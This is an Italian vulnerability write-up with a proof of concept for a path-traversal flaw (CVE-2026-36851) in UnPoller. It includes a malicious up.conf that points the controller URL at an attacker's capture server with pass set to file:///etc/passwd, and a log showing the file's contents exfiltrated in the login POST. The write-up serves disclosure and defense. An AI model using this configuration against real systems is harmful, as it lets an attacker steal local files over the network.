
Walkthrough e PoC della vulnerabilità di attraversamento del percorso file (CVE-2026-36851) per UnPoller 2.33.0
Path traversal / lettura arbitraria di file in UnPoller v2.33.0 tramite il prefisso file:// della password. I contenuti del file vengono letti dal disco e trasmessi all'URL del controller UniFi configurato durante l'autenticazione.
| CVE | CVE-2026-36851 |
| Prodotto | UnPoller v2.33.0 (versioni precedenti probabilmente interessate) |
| Debolezza | CWE-22 (Path Traversal), CWE-20 (Validazione Input Inadeguata) |
| CVSS 3.1 | 7.5 Alto — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Segnalatore | Hector Diaz |
UnPoller supporta il caricamento delle credenziali da un file quando il valore di configurazione inizia con file://. Questo comportamento è documentato per distribuzioni Docker in cui gli operatori vogliono password al di fuori dei file di configurazione in testo chiaro. L'implementazione non limita quale percorso può essere letto — qualsiasi file accessibile al processo è un input valido. Quei contenuti vengono quindi inviati in rete in un JSON POST a /api/login su qualsiasi controller url sia impostato nello stesso file di configurazione.
Questa combinazione trasforma una primitiva di lettura locale in un canale di esfiltrazione di rete: un attaccante con accesso in scrittura a up.conf può puntare url verso un server controllato e divulgare ripetutamente file sensibili senza permesso di lettura diretto su quei file.
Eseguo UnPoller nel mio homelab — Docker su un Proxmox LXC — per esportare le metriche UniFi in Grafana insieme al resto del mio stack. Stavo esaminando progetti open-source per vulnerabilità web comuni. UnPoller ha una superficie web minima esposta all'utente, quindi XSS era un vicolo cieco. La configurazione di esempio è dove è iniziata la scoperta:
pass = "file:///path/to/password.file"
L'intento è ragionevole: fare riferimento a un file di segreti invece di incorporare la password in up.conf. La domanda che mi sono posto era se UnPoller convalida quel percorso — o tratta qualsiasi valore file:// come un puntatore letterale al filesystem.
Tracciando il codice sorgente in pkg/inputunifi/input.go (e gestione simile in influxunifi, lokiunifi) mostra che non c'è una whitelist. Quando pass o api_key inizia con file://, il prefisso viene rimosso e os.ReadFile() carica l'intero contenuto del file nel campo delle credenziali utilizzato per l'autenticazione UniFi.
Riservatezza: File leggibili arbitrari sull'host UnPoller possono essere esfiltrati — ad es. /etc/passwd, /proc/version, /etc/hosts, configurazioni di applicazioni e potenzialmente materiale crittografico a seconda dei permessi del processo.
Prerequisiti dell'attacco: Accesso in scrittura alla configurazione di UnPoller (tipicamente up.conf). Non sono necessarie credenziali UniFi per attivare la lettura una volta modificata la configurazione.
Perché è importante oltre l'accesso amministrativo locale: In hosting condivisi, Kubernetes mal configurati o scenari di sidecar compromessi, un attore con bassi privilegi potrebbe modificare la configurazione del servizio senza poter leggere direttamente file sensibili. Questo comportamento colma quel divario facendo sì che UnPoller legga il file e lo trasmetta in uscita.
Non in scope: Esecuzione di codice remoto, integrità o disponibilità — si tratta di un problema di divulgazione di informazioni con un chiaro percorso di esfiltrazione.
Testato su ghcr.io/unpoller/unpoller:latest (v2.33.0) su un Proxmox LXC basato su Debian con Docker Compose.
Impostare UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" tramite variabile d'ambiente non ha attivato il comportamento nella mia distribuzione. Il file di configurazione montato era la fonte di verità effettiva.
Ho modificato up.conf per puntare UnPoller a un server di cattura che controllavo invece del mio controller UniFi di produzione:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
Dopo docker restart unpoller, il container ha iniziato a connettersi al mio listener sulla porta 8443 ogni ~30 secondi.
Il mio primo server di cattura registrava gli header HTTP e cercava credenziali Authorization: Basic .... UnPoller inviava richieste POST /api/login senza header Authorization — l'API UniFi si aspetta JSON nel corpo:
{"username": "admin", "password": "..."}
Ho aggiornato il listener per leggere Content-Length, analizzare il corpo POST e registrare il JSON. Entro un minuto, /etc/passwd è apparso nel campo password:

Estratto del log:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
Lo stesso schema di configurazione ha funzionato per /proc/version (impronta digitale del kernel/build):

Esempio di configurazione dannosa: poc/up.conf.example
| Data | Evento |
|---|---|
| 2026-02-28 | Scoperto e confermato in homelab |
| 2026-03-01 | Fornitore notificato (Discord) |
Il manutentore di UnPoller ha riconosciuto il comportamento file:// come una comodità intenzionale per gli utenti Docker e ha messo in dubbio lo sfruttabilità senza separazione dei privilegi tra l'editor di configurazione e l'utente del processo. MITRE ha comunque assegnato un identificativo CVE.
Per gli operatori
up.conf e i mount di configurazione come dati sensibili; limita l'accesso in scrittura.file:// arbitrari finché non è disponibile una correzione.Per gli sviluppatori
file:// dai campi delle credenziali, o imposta una whitelist rigorosa dei percorsi (ad es. solo sotto /etc/unpoller/secrets/).MIT — vedi LICENSE. I materiali di prova di concetto in questo repository sono forniti solo per ricerca e formazione sulla sicurezza autorizzate. Non utilizzare contro sistemi di cui non sei proprietario o per cui non hai esplicita autorizzazione al test.
Hector Diaz · LinkedIn · hectordiaz.net
| 2026-03-02 |
| Richiesta CVE MITRE inviata |
| 2026-06-05 | CVE-2026-36851 assegnato |
| 2026-07-03 | Articolo pubblico pubblicato |